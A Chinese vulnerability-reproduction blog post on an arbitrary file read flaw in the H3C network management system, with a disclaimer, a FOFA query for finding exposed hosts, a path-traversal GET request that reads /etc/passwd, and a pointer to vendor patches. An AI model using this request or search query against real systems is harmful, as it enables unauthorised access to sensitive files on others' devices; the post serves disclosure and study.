当前位置： 首页 > article >正文

H3C网络管理系统任意文件读取漏洞复现 [附POC]

article 2024/11/20 7:05:29

文章目录

  • H3C网络管理系统任意文件读取漏洞复现 [附POC]
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

H3C网络管理系统任意文件读取漏洞复现 [附POC]

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

H3C 网络管理系统是面向GPON和XG(S)-PON设备开发的运维管理解决方案，为设备提供自动化配置下发和备份、可视化故障告警和诊断、远程设备升级等功能；管理系统支持B/S 架构，无需安装插件。H3C 网管系统存在任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息。

0x03 影响版本

H3C 网络管理系统

0x04 漏洞环境

FOFA语法：body=“webui/js/jquerylib/jquery-1.7.2.min.js”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

GET /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

3.复现

发送查看/etc/passwd文件的数据包
在这里插入图片描述

0x06 修复建议

厂商已提供漏洞修补版本，建议用户下载：

 https://www.h3c.com/

http://www.kler.cn/a/146841.html

相关文章：

  • Qt的一个基本用户登录界面编写|| 从0搭建QT的信号与槽的应用案例 ||Qt样式表的应用
  • DataOps for LLM 的数据工程技术架构实践
  • 信息与决策支持系统（Information and Decision Support Systems，IDSS）
  • Git 分⽀规范 Git Flow 模型
  • Java通过calcite实时读取kafka中的数据
  • 【AI图像生成网站Golang】项目架构
  • 线性分类器--图像表示
  • 网易云音频数据如何爬取？
  • 通俗易懂的spring Cloud；业务场景介绍 二、Spring Cloud核心组件：Eureka 、Feign、Ribbon、Hystrix、zuul
  • MATLAB中FFT频谱分析使用详解
  • Mysql之局域网内不同ip互登陆mysql
  • SpringBoot yml配置文件打印值
  • 【iOS-UIImagePickerController访问相机和相册】
  • 微服务Dubbo
  • [C++]六大默认成员函数详解
  • CleanMyMac X4.14.5Crack最新Mac电脑清理优化最佳应用
  • C++：对象模型和this指针
  • C++ :const修饰成员函数
  • MySQL特点和基本语句
  • 总结Vue3里一些常见的组合式api
  • 媒体增加日活量的有效策略
  • ctfshow sql
  • C语言WFC绘制矩形
  • Python武器库开发-前端篇之CSS盒模型(三十一)
  • C语言-方阵循环右移
  • pytorch实现遥感建筑物提取